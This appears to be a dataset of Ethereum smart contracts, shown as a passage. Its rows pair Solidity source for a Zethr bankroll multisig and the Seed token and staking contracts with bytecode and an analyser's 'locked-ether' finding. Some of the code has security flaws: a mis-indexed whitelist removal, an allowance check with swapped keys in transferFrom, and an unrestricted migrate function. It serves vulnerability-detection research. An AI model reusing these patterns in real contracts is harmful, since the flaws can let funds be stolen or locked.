for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
// Additions for Bankroll
function whiteListContract(address contractAddress)
public
onlyWallet
contractIsNotWhiteListed(contractAddress)
notNull(contractAddress)
{
isWhitelisted[contractAddress] = true;
whiteListedContracts.push(contractAddress);
emit WhiteListAddition(contractAddress);
}
// Remove a whitelisted contract. This is an exception to the norm in that
// it can be invoked directly by any owner, in the event that a game is found
// to be bugged or otherwise faulty, so it can be shut down as an emergency measure.
// Iterates through the whitelisted contracts to find contractAddress,
// then swaps it with the last address in the list - then decrements length
function deWhiteListContract(address contractAddress)
public
isAnOwner
contractIsWhiteListed(contractAddress)
{
isWhitelisted[contractAddress] = false;
for (uint i=0; i<whiteListedContracts.length - 1; i++)
if (whiteListedContracts[i] == contractAddress) {
whiteListedContracts[i] = owners[whiteListedContracts.length - 1];
break;
}
whiteListedContracts.length -= 1;
emit WhiteListRemoval(contractAddress);
}
// Legit sweaty palms when writing this
// AUDIT AUDIT AUDIT
// Should withdraw "amount" to whitelisted contracts only!
// Should block withdraws greater than MAX_WITHDRAW_PCT_TX of balance.
function contractWithdraw(uint amount) public
onlyWhiteListedContract
{
// Make sure amount is <= balance*MAX_WITHDRAW_PCT_TX
require(permissibleWithdrawal(amount));
msg.sender.transfer(amount);
}
// Dev withdraw - splits equally among all owners of contract
function devWithdraw(uint amount) public
onlyWallet
{
require(permissibleWithdrawal(amount));
uint amountPerPerson = SafeMath.div(amount, owners.length);
for (uint i=0; i<owners.length; i++) {
owners[i].transfer(amountPerPerson);
}
emit DevWithdraw(amount, amountPerPerson);
}
// Receive dividends from Zethr and buy back in
function receiveDividends() public payable {
Zethr(msg.sender).buy.value(msg.value)(address(0x0));
}
// Convert an hexadecimal character to their value
function fromHexChar(uint c) public pure returns (uint) {
if (byte(c) >= byte('0') && byte(c) <= byte('9')) {
return c - uint(byte('0'));
}
if (byte(c) >= byte('a') && byte(c) <= byte('f')) {
return 10 + c - uint(byte('a'));
}
if (byte(c) >= byte('A') && byte(c) <= byte('F')) {
return 10 + c - uint(byte('A'));
}
}
// Convert an hexadecimal string to raw bytes
function fromHex(string s) public pure returns (bytes) {
bytes memory ss = bytes(s);
require(ss.length%2 == 0); // length must be even
bytes memory r = new bytes(ss.length/2);
for (uint i=0; i<ss.length/2; ++i) {
r[i] = byte(fromHexChar(uint(ss[2*i])) * 16 +
fromHexChar(uint(ss[2*i+1])));
}
return r;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Zethr{
function buy(address)
public
payable {}
} | 0x6080604052600436106101a05763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c2781146101a2578063173825d9146101d6578063181f1437146101f757806320ea8d86146102235780632f54bf6e1461023b5780633411c81c1461025c5780633af32abf1461028057806354741525146102a15780636d5d7612146102d25780637065cb48146102e7578063743bdcef14610308578063784547a71461031d57806379fc4687146103355780638b51d13f1461033d5780638e7e34d7146103555780639ace38c214610423578063a0e67e2b146104de578063a6fb08ae14610543578063a8abe69a1461055b578063b44ec92114610580578063b5dc40c3146105a1578063b7312707146105b9578063b77bf600146105d1578063ba51a6df146105e6578063c01a8c84146105fe578063c543c92214610616578063c5689e7d1461062e578063c64274741461064f578063d74f8edd146106b8578063dc8452cd146106cd578063e20056e6146106e2578063ee22610b14610709578063f0526bad14610721575b005b3480156101ae57600080fd5b506101ba600435610739565b60408051600160a060020a039092168252519081900360200190f35b3480156101e257600080fd5b506101a0600160a060020a0360043516610761565b34801561020357600080fd5b5061020f6004356108ec565b604080519115158252519081900360200190f35b34801561022f57600080fd5b506101a06004356109c7565b34801561024757600080fd5b5061020f600160a060020a0360043516610a9d565b34801561026857600080fd5b5061020f600435600160a060020a0360243516610ab2565b34801561028c57600080fd5b5061020f600160a060020a0360043516610ad2565b3480156102ad57600080fd5b506102c060043515156024351515610ae7565b60408051918252519081900360200190f35b3480156102de57600080fd5b506102c0610b53565b3480156102f357600080fd5b506101a0600160a060020a0360043516610b58565b34801561031457600080fd5b506102c0610c89565b34801561032957600080fd5b5061020f600435610c8e565b6101a0610d12565b34801561034957600080fd5b506102c0600435610d8e565b34801561036157600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103ae943694929360249392840191908190840183828082843750949750610dfd9650505050505050565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103e85781810151838201526020016103d0565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042f57600080fd5b5061043b600435610ef7565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104a0578181015183820152602001610488565b50505050905090810190601f1680156104cd5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156104ea57600080fd5b506104f3610fb5565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561052f578181015183820152602001610517565b505050509050019250505060405180910390f35b34801561054f57600080fd5b506101a0600435611018565b34801561056757600080fd5b506104f36004356024356044351515606435151561108d565b34801561058c57600080fd5b506101a0600160a060020a03600435166111c6565b3480156105ad57600080fd5b506104f36004356112bf565b3480156105c557600080fd5b506102c0600435611430565b3480156105dd57600080fd5b506102c06115b3565b3480156105f257600080fd5b506101a06004356115b9565b34801561060a57600080fd5b506101a0600435611644565b34801561062257600080fd5b506101a0600435611724565b34801561063a57600080fd5b506101a0600160a060020a0360043516611811565b34801561065b57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102c0948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506119929650505050505050565b3480156106c457600080fd5b506102c06119b1565b3480156106d957600080fd5b506102c06119b6565b3480156106ee57600080fd5b506101a0600160a060020a03600435811690602435166119bc565b34801561071557600080fd5b506101a0600435611b5a565b34801561072d57600080fd5b506101ba600435611cba565b600480548290811061074757fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561078357600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156107ac57600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600454600019018210156108875782600160a060020a03166004838154811015156107f657fe5b600091825260209091200154600160a060020a0316141561087c5760048054600019810190811061082357fe5b60009182526020909120015460048054600160a060020a03909216918490811061084957fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610887565b6001909101906107cf565b60048054600019019061089a9082611e09565b5060045460065411156108b3576004546108b3906115b9565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b60008060008030600160a060020a031633600160a060020a031614151561091257600080fd5b429250600160a060020a033016319150610944606461093884600563ffffffff611cc816565b9063ffffffff611cf316565b90508085111561095357600080fd5b600854620151809084031061098e57600883905561097d606461093884600f63ffffffff611cc816565b600955600a859055600193506109bf565b600954600a546109a4908763ffffffff611d0a16565b116109ba57600a805486019055600193506109bf565b600093505b505050919050565b33600160a060020a03811660009081526002602052604090205460ff1615156109ef57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff161515610a2457600080fd5b600084815260208190526040902060030154849060ff1615610a4557600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b60036020526000908152604090205460ff1681565b6000805b600754811015610b4c57838015610b14575060008181526020819052604090206003015460ff16155b80610b385750828015610b38575060008181526020819052604090206003015460ff165b15610b44576001820191505b600101610aeb565b5092915050565b600f81565b30600160a060020a031633600160a060020a0316141515610b7857600080fd5b600160a060020a038116600090815260026020526040902054819060ff1615610ba057600080fd5b81600160a060020a0381161515610bb657600080fd5b600480549050600101600654600a821180610bd057508181115b80610bd9575080155b80610be2575081155b15610bec57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560048054918201815583527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600581565b600080805b600454811015610d0b5760008481526001602052604081206004805491929184908110610cbc57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610cf0576001820191505b600654821415610d035760019250610d0b565b600101610c93565b5050919050565b604080517ff088d5470000000000000000000000000000000000000000000000000000000081526000600482018190529151600160a060020a0333169263f088d5479234926024808301939282900301818588803b158015610d7357600080fd5b505af1158015610d87573d6000803e3d6000fd5b5050505050565b6000805b600454811015610df75760008381526001602052604081206004805491929184908110610dbb57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610def576001820191505b600101610d92565b50919050565b80516060908290829060009060011615610e1657600080fd5b8251600290046040519080825280601f01601f191660200182016040528015610e49578160200160208202803883390190505b509150600090505b825160029004811015610eef57610e8b8382600202600101815181101515610e7557fe5b016020015160f860020a90819004810204611430565b610e9f8483600202815181101515610e7557fe5b6010020160f860020a028282815181101515610eb757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101610e51565b509392505050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610fa25780601f10610f7757610100808354040283529160200191610fa2565b820191906000526020600020905b815481529060010190602001808311610f8557829003601f168201915b5050506003909301549192505060ff1684565b6060600480548060200260200160405190810160405280929190818152602001828054801561100d57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610fef575b505050505090505b90565b600160a060020a03331660009081526003602052604090205460ff16151561103f57600080fd5b611048816108ec565b151561105357600080fd5b604051600160a060020a0333169082156108fc029083906000818181858888f19350505050158015611089573d6000803e3d6000fd5b5050565b6060806000806007546040519080825280602002602001820160405280156110bf578160200160208202803883390190505b50925060009150600090505b600754811015611146578580156110f4575060008181526020819052604090206003015460ff16155b806111185750848015611118575060008181526020819052604090206003015460ff165b1561113e5780838381518110151561112c57fe5b60209081029091010152600191909101905b6001016110cb565b878703604051908082528060200260200182016040528015611172578160200160208202803883390190505b5093508790505b868110156111bb57828181518110151561118f57fe5b90602001906020020151848983038151811015156111a957fe5b60209081029091010152600101611179565b505050949350505050565b30600160a060020a031633600160a060020a03161415156111e657600080fd5b600160a060020a038116600090815260036020526040902054819060ff161561120e57600080fd5b81600160a060020a038116151561122457600080fd5b600160a060020a038316600081815260036020526040808220805460ff1916600190811790915560058054918201815583527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db001805473ffffffffffffffffffffffffffffffffffffffff191684179055517fc64776f801b4c431f61e786bae65b79896c363a42b0328a217a33b6b9fe26d389190a2505050565b6060806000806004805490506040519080825280602002602001820160405280156112f4578160200160208202803883390190505b50925060009150600090505b6004548110156113b1576000858152600160205260408120600480549192918490811061132957fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156113a957600480548290811061136457fe5b6000918252602090912001548351600160a060020a039091169084908490811061138a57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101611300565b816040519080825280602002602001820160405280156113db578160200160208202803883390190505b509350600090505b818110156109bf5782818151811015156113f957fe5b90602001906020020151848281518110151561141157fe5b600160a060020a039092166020928302909101909101526001016113e3565b60007f300000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a031916108015906114a257507f390000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191611155b156114b25750602f1981016115ae565b7f610000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a0319161080159061152257507f660000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191611155b15611532575060561981016115ae565b7f410000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a031916108015906115a257507f460000000000000000000000000000000000000000000000000000000000000060f860020a8302600160f860020a03191611155b156115ae575060361981015b919050565b60075481565b30600160a060020a031633600160a060020a03161415156115d957600080fd5b60045481600a8211806115eb57508181115b806115f4575080155b806115fd575081155b1561160757600080fd5b60068390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff16151561166c57600080fd5b6000828152602081905260409020548290600160a060020a0316151561169157600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16156116c557600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610d8785611b5a565b60008030600160a060020a031633600160a060020a031614151561174757600080fd5b611750836108ec565b151561175b57600080fd5b600454611769908490611cf3565b9150600090505b6004548110156117d157600480548290811061178857fe5b6000918252602082200154604051600160a060020a039091169184156108fc02918591818181858888f193505050501580156117c8573d6000803e3d6000fd5b50600101611770565b604080518481526020810184905281517f07008f8adc282de766e112abefffbaeaf5b647a6d9881c2266e563c3a613db83929181900390910190a1505050565b33600160a060020a03811660009081526002602052604081205490919060ff16151561183c57600080fd5b600160a060020a038316600090815260036020526040902054839060ff16151561186557600080fd5b600160a060020a0384166000908152600360205260408120805460ff1916905592505b600554600019018310156119445783600160a060020a03166005848154811015156118af57fe5b600091825260209091200154600160a060020a0316141561193957600554600480549091600019019081106118e057fe5b60009182526020909120015460058054600160a060020a03909216918590811061190657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611944565b600190920191611888565b6005805460001901906119579082611e09565b50604051600160a060020a038516907fedc4f118f8cab6510389872840b5f4b010928acb0ff9102fbb27d6254c6008b590600090a250505050565b600061199f848484611d19565b90506119aa81611644565b9392505050565b600a81565b60065481565b600030600160a060020a031633600160a060020a03161415156119de57600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515611a0757600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615611a2f57600080fd5b600092505b600454831015611ac05784600160a060020a0316600484815481101515611a5757fe5b600091825260209091200154600160a060020a03161415611ab55783600484815481101515611a8257fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611ac0565b600190920191611a34565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600081815260208190526040812060030154829060ff1615611b7b57600080fd5b611b8483610c8e565b15611cb5576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a0390931695949293919283928592600019918316156101000291909101909116048015611c325780601f10611c0757610100808354040283529160200191611c32565b820191906000526020600020905b815481529060010190602001808311611c1557829003601f168201915b505091505060006040518083038185875af19250505015611c7d5760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2611cb5565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b505050565b600580548290811061074757fe5b600080831515611cdb5760009150610b4c565b50828202828482811515611ceb57fe5b04146119aa57fe5b6000808284811515611d0157fe5b04949350505050565b6000828201838110156119aa57fe5b600083600160a060020a0381161515611d3157600080fd5b60075460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff191694169390931783555160018301559251805194965091939092611db1926002850192910190611e2d565b50606091909101516003909101805460ff191691151591909117905560078054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b815481835581811115611cb557600083815260209020611cb5918101908301611eab565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611e6e57805160ff1916838001178555611e9b565b82800160010185558215611e9b579182015b82811115611e9b578251825591602001919060010190611e80565b50611ea7929150611eab565b5090565b61101591905b80821115611ea75760008155600101611eb15600a165627a7a72305820c8b8adc494d14f545d29270d0ed760bffb410062b88ef8bfb451d8bfee0939ec0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,967 |
0x35584c8d94c58b422ac2ae4e9d6c8eeb22bf3ab3 | pragma solidity 0.7.0;
interface IOwnershipTransferrable {
function transferOwnership(address owner) external;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
abstract contract Ownable is IOwnershipTransferrable {
address private _owner;
constructor(address owner) {
_owner = owner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) override external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Seed is Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 constant UINT256_MAX = ~uint256(0);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() Ownable(msg.sender) {
_name = "Seed";
_symbol = "SEED";
_decimals = 18;
_totalSupply = 1000000 * 1e18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[msg.sender][sender] != UINT256_MAX) {
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(uint256 amount) external returns (bool) {
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
}
abstract contract ReentrancyGuard {
bool private _entered;
modifier noReentrancy() {
require(!_entered);
_entered = true;
_;
_entered = false;
}
}
contract SeedStake is ReentrancyGuard, Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
Seed private _SEED;
bool private _dated;
bool private _migrated;
uint256 _deployedAt;
uint256 _totalStaked;
uint256 constant MONTH = 30 days;
mapping (address => uint256) private _staked;
mapping (address => uint256) private _lastClaim;
address private _developerFund;
event StakeIncreased(address indexed staker, uint256 amount);
event StakeDecreased(address indexed staker, uint256 amount);
event Rewards(address indexed staker, uint256 mintage, uint256 developerFund);
event MelodyAdded(address indexed melody);
event MelodyRemoved(address indexed melody);
constructor(address seed) Ownable(msg.sender) {
_SEED = Seed(seed);
_developerFund = msg.sender;
_deployedAt = block.timestamp;
}
function totalStaked() external view returns (uint256) {
return _totalStaked;
}
function upgradeDevelopmentFund(address fund) external onlyOwner {
_developerFund = fund;
}
function seed() external view returns (address) {
return address(_SEED);
}
function migrate(address previous, address[] memory people, uint256[] memory lastClaims) external {
require(!_migrated);
require(people.length == lastClaims.length);
for (uint i = 0; i < people.length; i++) {
uint256 staked = SeedStake(previous).staked(people[i]);
_staked[people[i]] = staked;
_totalStaked = _totalStaked.add(staked);
_lastClaim[people[i]] = lastClaims[i];
emit StakeIncreased(people[i], staked);
}
require(_SEED.transferFrom(previous, address(this), _SEED.balanceOf(previous)));
_migrated = true;
}
function staked(address staker) external view returns (uint256) {
return _staked[staker];
}
function lastClaim(address staker) external view returns (uint256) {
return _lastClaim[staker];
}
function increaseStake(uint256 amount) external {
require(!_dated);
require(_SEED.transferFrom(msg.sender, address(this), amount));
_totalStaked = _totalStaked.add(amount);
_lastClaim[msg.sender] = block.timestamp;
_staked[msg.sender] = _staked[msg.sender].add(amount);
emit StakeIncreased(msg.sender, amount);
}
function decreaseStake(uint256 amount) external {
_staked[msg.sender] = _staked[msg.sender].sub(amount);
_totalStaked = _totalStaked.sub(amount);
require(_SEED.transfer(address(msg.sender), amount));
emit StakeDecreased(msg.sender, amount);
}
function calculateSupplyDivisor() public view returns (uint256) {
// base divisior for 5%
uint256 result = uint256(20)
.add(
// get how many months have passed since deployment
block.timestamp.sub(_deployedAt).div(MONTH)
// multiply by 5 which will be added, tapering from 20 to 50
.mul(5)
);
// set a cap of 50
if (result > 50) {
result = 50;
}
return result;
}
function _calculateMintage(address staker) private view returns (uint256) {
// total supply
uint256 share = _SEED.totalSupply()
// divided by the supply divisor
// initially 20 for 5%, increases to 50 over months for 2%
.div(calculateSupplyDivisor())
// divided again by their stake representation
.div(_totalStaked.div(_staked[staker]));
// this share is supposed to be issued monthly, so see how many months its been
uint256 timeElapsed = block.timestamp.sub(_lastClaim[staker]);
uint256 mintage = 0;
// handle whole months
if (timeElapsed > MONTH) {
mintage = share.mul(timeElapsed.div(MONTH));
timeElapsed = timeElapsed.mod(MONTH);
}
// handle partial months, if there are any
// this if check prevents a revert due to div by 0
if (timeElapsed != 0) {
mintage = mintage.add(share.div(MONTH.div(timeElapsed)));
}
return mintage;
}
function calculateRewards(address staker) public view returns (uint256) {
// removes the five percent for the dev fund
return _calculateMintage(staker).div(20).mul(19);
}
// noReentrancy shouldn't be needed due to the lack of external calls
// better safe than sorry
function claimRewards() external noReentrancy {
require(!_dated);
uint256 mintage = _calculateMintage(msg.sender);
uint256 mintagePiece = mintage.div(20);
require(mintagePiece > 0);
// update the last claim time
_lastClaim[msg.sender] = block.timestamp;
// mint out their staking rewards and the dev funds
_SEED.mint(msg.sender, mintage.sub(mintagePiece));
_SEED.mint(_developerFund, mintagePiece);
emit Rewards(msg.sender, mintage, mintagePiece);
}
function addMelody(address melody) external onlyOwner {
_SEED.approve(melody, UINT256_MAX);
emit MelodyAdded(melody);
}
function removeMelody(address melody) external onlyOwner {
_SEED.approve(melody, 0);
emit MelodyRemoved(melody);
}
function upgrade(address owned, address upgraded) external onlyOwner {
_dated = true;
IOwnershipTransferrable(owned).transferOwnership(upgraded);
}
}
| 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063eedad66b11610066578063eedad66b14610266578063f2397f3e14610283578063f2fde38b146102a9578063f3177079146102cf57610100565b80638da5cb5b146101ed57806398807d84146101f557806399a88ec41461021b578063e8b96de11461024957610100565b806364ab8675116100d357806364ab8675146101755780636de3ac3f1461019b5780637d94792a146101c1578063817b1cd2146101e557610100565b80632da8913614610105578063372500ab1461012d5780634c885c02146101355780635c16e15e1461014f575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610406565b005b61012b610513565b61013d6106b9565b60408051918252519081900360200190f35b61013d6004803603602081101561016557600080fd5b50356001600160a01b0316610708565b61013d6004803603602081101561018b57600080fd5b50356001600160a01b0316610723565b61012b600480360360208110156101b157600080fd5b50356001600160a01b031661073e565b6101c96107b2565b604080516001600160a01b039092168252519081900360200190f35b61013d6107c1565b6101c96107c7565b61013d6004803603602081101561020b57600080fd5b50356001600160a01b03166107db565b61012b6004803603604081101561023157600080fd5b506001600160a01b03813581169160200135166107f6565b61012b6004803603602081101561025f57600080fd5b50356108c2565b61012b6004803603602081101561027c57600080fd5b50356109be565b61012b6004803603602081101561029957600080fd5b50356001600160a01b0316610ae7565b61012b600480360360208110156102bf57600080fd5b50356001600160a01b0316610bf3565b61012b600480360360608110156102e557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561031057600080fd5b82018360208201111561032257600080fd5b8035906020019184602083028401116401000000008311171561034457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039457600080fd5b8201836020820111156103a657600080fd5b803590602001918460208302840111640100000000831117156103c857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610cf0945050505050565b60005461010090046001600160a01b03163314610458576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b038481166004830152600060248301819052925193169263095ea7b392604480840193602093929083900390910190829087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d60208110156104da57600080fd5b50506040516001600160a01b038216907f3161d766eb7d07d5e1ceea9abc5160636a3ec586a0f95a0c0cf367af6706d0b790600090a250565b60005460ff161561052357600080fd5b6000805460ff1916600190811790915554600160a01b900460ff161561054857600080fd5b600061055333610fd4565b9050600061056282601461111c565b90506000811161057157600080fd5b3360008181526005602052604090204290556001546001600160a01b0316906340c10f19906105a0858561113e565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b5050600154600654604080516340c10f1960e01b81526001600160a01b0392831660048201526024810187905290519190921693506340c10f199250604480830192600092919082900301818387803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b5050604080518581526020810185905281513394507f61953b03ced70bb23c53b5a7058e431e3db88cf84a72660faea0849b785c43bd93509081900390910190a250506000805460ff19169055565b6000806106f46106ec60056106e662278d006106e06002544261113e90919063ffffffff16565b9061111c565b90611153565b601490611181565b90506032811115610703575060325b905090565b6001600160a01b031660009081526005602052604090205490565b600061073860136106e660146106e086610fd4565b92915050565b60005461010090046001600160a01b03163314610790576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031690565b60035490565b60005461010090046001600160a01b031690565b6001600160a01b031660009081526004602052604090205490565b60005461010090046001600160a01b03163314610848576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790556040805163f2fde38b60e01b81526001600160a01b03838116600483015291519184169163f2fde38b9160248082019260009290919082900301818387803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b505050505050565b336000908152600460205260409020546108dc908261113e565b336000908152600460205260409020556003546108f9908261113e565b6003556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561095057600080fd5b505af1158015610964573d6000803e3d6000fd5b505050506040513d602081101561097a57600080fd5b505161098557600080fd5b60408051828152905133917f700865370ffb2a65a2b0242e6a64b21ac907ed5ecd46c9cffc729c177b2b1c69919081900360200190a250565b600154600160a01b900460ff16156109d557600080fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a2f57600080fd5b505af1158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051610a6457600080fd5b600354610a719082611181565b6003553360009081526005602090815260408083204290556004909152902054610a9b9082611181565b33600081815260046020908152604091829020939093558051848152905191927f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d92918290030190a250565b60005461010090046001600160a01b03163314610b39576040805162461bcd60e51b8152602060048201819052602482015260008